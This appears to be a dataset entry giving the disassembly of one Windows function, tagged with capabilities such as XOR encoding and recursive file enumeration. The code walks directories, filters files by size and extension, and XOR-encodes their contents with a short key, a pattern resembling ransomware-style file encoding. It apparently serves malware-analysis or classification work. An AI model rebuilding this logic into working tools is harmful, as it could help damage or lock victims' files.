Function at 0x458840
Capabilities:
Encode data using xor
Enumerate files on windows
Enumerate files recursively
Get common file path
Read file on windows
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4e8
mov eax, dword [0x4f0100]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov dword [ebp - 0x4a4], edx
mov dword [ebp - 0x4e8], ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x4b8], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x48c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x47c], eax
mov eax, dword [ebp + 0x1c]
mov ebx, dword [ebp + 0x18]
mov dword [ebp - 0x4ac], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x4b0], eax
mov eax, dword [ebp + 0x28]
mov edi, dword [ebp + 0x14]
mov dword [ebp - 0x4a8], eax
lea eax, [ebp - 0x464]
push eax
mov eax, dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push ecx
mov dword [ebp - 0x490], edi
mov dword [ebp - 0x4b4], eax
call eax
mov dword [ebp - 0x478], eax
cmp eax, 0xffffffff
je 0x45903d
mov eax, dword [ebp - 0x45c]
xor ecx, ecx
add ecx, dword [ebp - 0x460]
mov edx, dword [edi + 4]
mov esi, dword [ebp - 0x464]
adc eax, 0
mov edi, dword [edi + 8]
mov dword [ebp - 0x49c], ecx
mov dword [ebp - 0x4dc], ecx
xor ecx, ecx
add ecx, dword [ebp - 0x458]
mov dword [ebp - 0x498], eax
mov dword [ebp - 0x4d8], eax
mov eax, dword [ebp - 0x454]
adc eax, 0
mov dword [ebp - 0x494], ecx
mov dword [ebp - 0x4d4], ecx
xor ecx, ecx
add ecx, dword [ebp - 0x450]
mov dword [ebp - 0x488], eax
mov dword [ebp - 0x4d0], eax
mov eax, dword [ebp - 0x44c]
adc eax, 0
mov dword [ebp - 0x4a0], edx
mov dword [ebp - 0x4e4], edx
add edx, dword [ebp - 0x4a4]
mov dword [ebp - 0x484], ecx
mov dword [ebp - 0x4cc], ecx
lea ecx, [ebp - 0x438]
mov dword [ebp - 0x480], eax
mov dword [ebp - 0x4c8], eax
mov dword [ebp - 0x4e0], esi
mov dword [ebp - 0x4c4], edi
mov dword [ebp - 0x4c0], 0
mov dword [ebp - 0x4bc], 0xffffffff
call fcn.00458540
mov ecx, dword [ebp - 0x490]
mov edx, dword [ebp - 0x48c]
push dword [ebp - 0x478]
imul ebx, ebx, 0x2c
add dword [ecx + 4], eax
mov eax, dword [ebp - 0x47c]
mov ecx, dword [ebp - 0x4a0]
mov eax, dword [eax + 0xc]
add eax, ebx
mov dword [eax + edx], ecx
mov dword [eax + edx + 4], esi
mov ecx, dword [ebp - 0x49c]
mov dword [eax + edx + 8], ecx
mov ecx, dword [ebp - 0x498]
mov dword [eax + edx + 0xc], ecx
mov ecx, dword [ebp - 0x494]
mov dword [eax + edx + 0x10], ecx
mov ecx, dword [ebp - 0x488]
mov dword [eax + edx + 0x14], ecx
mov ecx, dword [ebp - 0x484]
mov dword [eax + edx + 0x18], ecx
mov ecx, dword [ebp - 0x480]
mov dword [eax + edx + 0x1c], ecx
mov dword [eax + edx + 0x20], edi
mov dword [eax + edx + 0x24], 0
mov dword [eax + edx + 0x28], 0xffffffff
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x214]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push dword [ebp - 0x4e8]
mov esi, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
call esi
mov ecx, dword [ebp - 0x47c]
mov edi, dword [ebp - 0x490]
mov eax, dword [ecx + 0xc]
add eax, ebx
mov dword [ebp - 0x474], eax
mov eax, dword [edi + 0xc]
mov dword [ebp - 0x468], eax
mov eax, dword [ecx]
cmp eax, 0xffffffff
je 0x458a6f
test eax, eax
je 0x458a6f
mov ebx, dword [ebp - 0x48c]
mov eax, dword [eax + ebx + 0x20]
mov dword [ebp - 0x470], eax
jmp 0x458a7f
mov ebx, dword [ebp - 0x48c]
mov dword [ebp - 0x470], 0
xor edx, edx
mov ecx, 0x4d7f3c
call fcn.00459760
mov dword [ebp - 0x46c], eax
mov eax, dword [edi + 8]
add eax, dword [ebp - 0x4b8]
movups xmm0, xmmword [ebp - 0x474]
movups xmmword [eax], xmm0
mov ecx, dword [ebp - 0x46c]
add dword [edi + 8], 0x10
imul eax, ecx, 0x2c
add dword [edi + 0xc], eax
test ecx, ecx
jne 0x458ad4
lea eax, [ebp - 0x214]
push eax
call esi
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0047b4e2
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x464]
mov dword [ebp - 0x488], 0
push eax
push 0x4d7f84
call dword [ebp - 0x4b4]
mov esi, dword [ebp - 0x4b0]
mov dword [ebp - 0x47c], ebx
mov ebx, eax
mov dword [ebp - 0x4a0], eax
nop dword [eax]
nop dword [eax + eax]
mov ecx, 0x4deaf4
lea eax, [ebp - 0x438]
nop dword [eax + eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x458b46
test dx, dx
je 0x458b42
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x458b46
add eax, 4
add ecx, 4
test dx, dx
jne 0x458b20
xor eax, eax
jmp 0x458b4b
sbb eax, eax
or eax, 1
test eax, eax
je 0x459013
mov ecx, 0x4deaf8
lea eax, [ebp - 0x438]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x458b86
test dx, dx
je 0x458b82
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x458b86
add eax, 4
add ecx, 4
test dx, dx
jne 0x458b60
xor eax, eax
jmp 0x458b8b
sbb eax, eax
or eax, 1
test eax, eax
je 0x459013
mov ebx, dword [ebp - 0x464]
test bl, 0x10
je 0x458bef
push dword [ebp - 0x4a8]
mov edx, dword [ebp - 0x4a4]
lea eax, [ebp - 0x474]
push dword [ebp + 0x24]
lea ecx, [ebp - 0x438]
push esi
push dword [ebp - 0x4ac]
push dword [ebp - 0x488]
push edi
push eax
push dword [ebp - 0x48c]
push dword [ebp - 0x4b8]
call fcn.00458840
add esp, 0x24
test eax, eax
js 0x459050
mov ebx, dword [ebp - 0x47c]
jmp 0x458ffe
mov ecx, dword [ebp - 0x45c]
xor eax, eax
add eax, dword [ebp - 0x460]
mov edx, dword [edi + 4]
adc ecx, 0
mov dword [ebp - 0x4dc], eax
xor eax, eax
mov dword [ebp - 0x4d8], ecx
add eax, dword [ebp - 0x458]
mov ecx, dword [ebp - 0x454]
adc ecx, 0
mov dword [ebp - 0x4d4], eax
xor eax, eax
mov dword [ebp - 0x4d0], ecx
add eax, dword [ebp - 0x450]
mov ecx, dword [ebp - 0x44c]
adc ecx, 0
mov dword [ebp - 0x4cc], eax
mov eax, dword [edi]
mov dword [ebp - 0x4e4], edx
add edx, dword [ebp - 0x4a4]
mov dword [ebp - 0x4c8], ecx
lea ecx, [ebp - 0x438]
mov dword [ebp - 0x4c4], eax
mov eax, dword [ebp - 0x444]
mov dword [ebp - 0x4e0], ebx
mov dword [ebp - 0x498], eax
mov dword [ebp - 0x4c0], eax
mov dword [ebp - 0x49c], 0xffffffff
call fcn.00458540
add dword [edi + 4], eax
xor ecx, ecx
add ecx, dword [ebp - 0x444]
mov eax, dword [ebp - 0x448]
adc eax, 0
or ecx, eax
je 0x458fc3
lea eax, [ebp - 0x438]
push 0x4deb00
push eax
call fcn.0048c5b4
push 2
mov ebx, eax
push 0
push ebx
mov dword [ebp - 0x484], ebx
call fcn.0048b1db
add esp, 0x14
push ebx
call fcn.0048c40c
add esp, 4
mov edi, eax
mov dword [ebp - 0x480], edi
push 0
push 0
push ebx
call fcn.0048b1db
add esp, 0xc
cmp byte [ebp + 0x24], 1
jne 0x458e93
mov eax, dword [ebp - 0x448]
xor ecx, ecx
add ecx, dword [ebp - 0x444]
adc eax, 0
test eax, eax
ja 0x458e93
jb 0x458d1b
cmp ecx, 0xa00000
jae 0x458e93
lea ecx, [ebp - 0x438]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x458d24
sub ecx, edx
sar ecx, 1
cmp ecx, 4
jbe 0x458dec
lea edi, [ebp - 0x43e]
mov edx, 0x4deb08
lea edi, [edi + ecx*2]
mov ecx, edi
call fcn.00452f20
test eax, eax
je 0x458e93
mov edx, 0x4deb10
mov ecx, edi
call fcn.00452f20
test eax, eax
je 0x458e93
mov edx, 0x4deb18
mov ecx, edi
call fcn.00452f20
test eax, eax
je 0x458e93
mov edx, 0x4deb20
mov ecx, edi
call fcn.00452f20
test eax, eax
je 0x458e93
mov edx, 0x4deb28
mov ecx, edi
call fcn.00452f20
test eax, eax
je 0x458e93
mov edx, 0x4deb38
mov ecx, edi
call fcn.00452f20
test eax, eax
je 0x458e93
mov edx, 0x4deb50
mov ecx, edi
call fcn.00452f20
test eax, eax
je 0x458e93
lea ecx, [edi - 2]
mov edx, str.jpeg
call fcn.00452f20
test eax, eax
je 0x458e93
mov edi, dword [ebp - 0x480]
lea eax, [edi + edi*2]
mov ecx, 0xffffffff
add eax, 0x40
cmovb eax, ecx
push eax
call fcn.0048b49b
add esp, 4
mov dword [ebp - 0x478], eax
lea ecx, [eax + edi]
push ebx
push 1
push edi
push eax
mov dword [ebp - 0x494], ecx
call fcn.0048ae0c
push dword [ebp - 0x494]
mov ecx, dword [ebp - 0x478]
mov edx, edi
call fcn.00459a00
mov edx, eax
movd xmm0, edi
cvtdq2pd xmm0, xmm0
mov ecx, edx
mov dword [ebp - 0x4b4], edx
mov eax, edi
shr ecx, 0x1f
add esp, 0x14
shr eax, 0x1f
movd xmm1, edx
addsd xmm0, qword [eax*8 + 0x4df010]
cvtdq2pd xmm1, xmm1
addsd xmm1, qword [ecx*8 + 0x4df010]
divsd xmm1, xmm0
comisd xmm1, xmmword [0x4def88]
jbe 0x458f6a
push 0
push 0
push ebx
call fcn.0048b1db
add esp, 0xc
push dword [ebp - 0x478]
call fcn.0048aa64
add esp, 4
mov eax, dword [ebp - 0x480]
xor ecx, ecx
mov dword [ebp - 0x478], ecx
test eax, eax
je 0x458fae
mov ebx, dword [ebp - 0x4b0]
nop
mov esi, dword [ebp - 0x498]
sub eax, ecx
cmp eax, 0x1000000
mov edx, 0x1000000
cmova eax, edx
add esi, ecx
lea edi, [eax + 3]
and edi, 0xfffffffc
cmp esi, 0xffffffff
jne 0x458ee2
push dword [ebp - 0x484]
call fcn.0048c40c
add esp, 4
mov esi, eax
push dword [ebp - 0x484]
push edi
push 1
push ebx
call fcn.0048ae0c
mov eax, 0x2aaaaaab
add esp, 0x10
imul esi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
xor edx, edx
lea eax, [eax + eax*2]
shl eax, 2
sub esi, eax
test edi, edi
jle 0x458f30
mov eax, dword [ebp - 0x4a8]
xor ecx, ecx
mov al, byte [eax + esi]
xor byte [ebx + edx], al
inc edx
cmp esi, 0xb
lea eax, [esi + 1]
cmovne ecx, eax
mov esi, ecx
cmp edx, edi
jl 0x458f12
push dword [ebp - 0x4ac]
push 1
push edi
push ebx
call fcn.00485546
mov ecx, dword [ebp - 0x478]
add esp, 0x10
mov eax, dword [ebp - 0x480]
add ecx, edi
mov dword [ebp - 0x478], ecx
cmp ecx, eax
jb 0x458eb0
mov esi, ebx
mov edi, ecx
mov ebx, dword [ebp - 0x484]
jmp 0x458fb0
push dword [ebp - 0x498]
mov ecx, dword [ebp - 0x494]
lea edi, [edx + 3]
push dword [ebp - 0x4a8]
and edi, 0xfffffffc
push dword [ebp - 0x4ac]
mov edx, edi
call fcn.00458780
add esp, 0xc
push dword [ebp - 0x478]
call fcn.0048aa64
mov eax, dword [ebp - 0x4b4]
add esp, 4
mov dword [ebp - 0x49c], eax
jmp 0x458fb0
xor edi, edi
push ebx
call fcn.00483fbe
mov eax, dword [ebp - 0x490]
add esp, 4
add dword [eax], edi
mov edi, eax
mov eax, dword [ebp - 0x468]
mov ebx, dword [ebp - 0x47c]
movups xmm0, xmmword [ebp - 0x4e4]
mov ecx, dword [ebp - 0x49c]
movups xmmword [ebx + eax], xmm0
movups xmm0, xmmword [ebp - 0x4d4]
movups xmmword [ebx + eax + 0x10], xmm0
movq xmm0, qword [ebp - 0x4c4]
movq qword [ebx + eax + 0x20], xmm0
mov dword [ebx + eax + 0x28], ecx
inc dword [ebp - 0x488]
add ebx, 0x2c
mov dword [ebp - 0x47c], ebx
mov ebx, dword [ebp - 0x4a0]
lea eax, [ebp - 0x464]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x458b10
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0047b4e2
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0047b4e2
mov esp, ebp
pop ebp
ret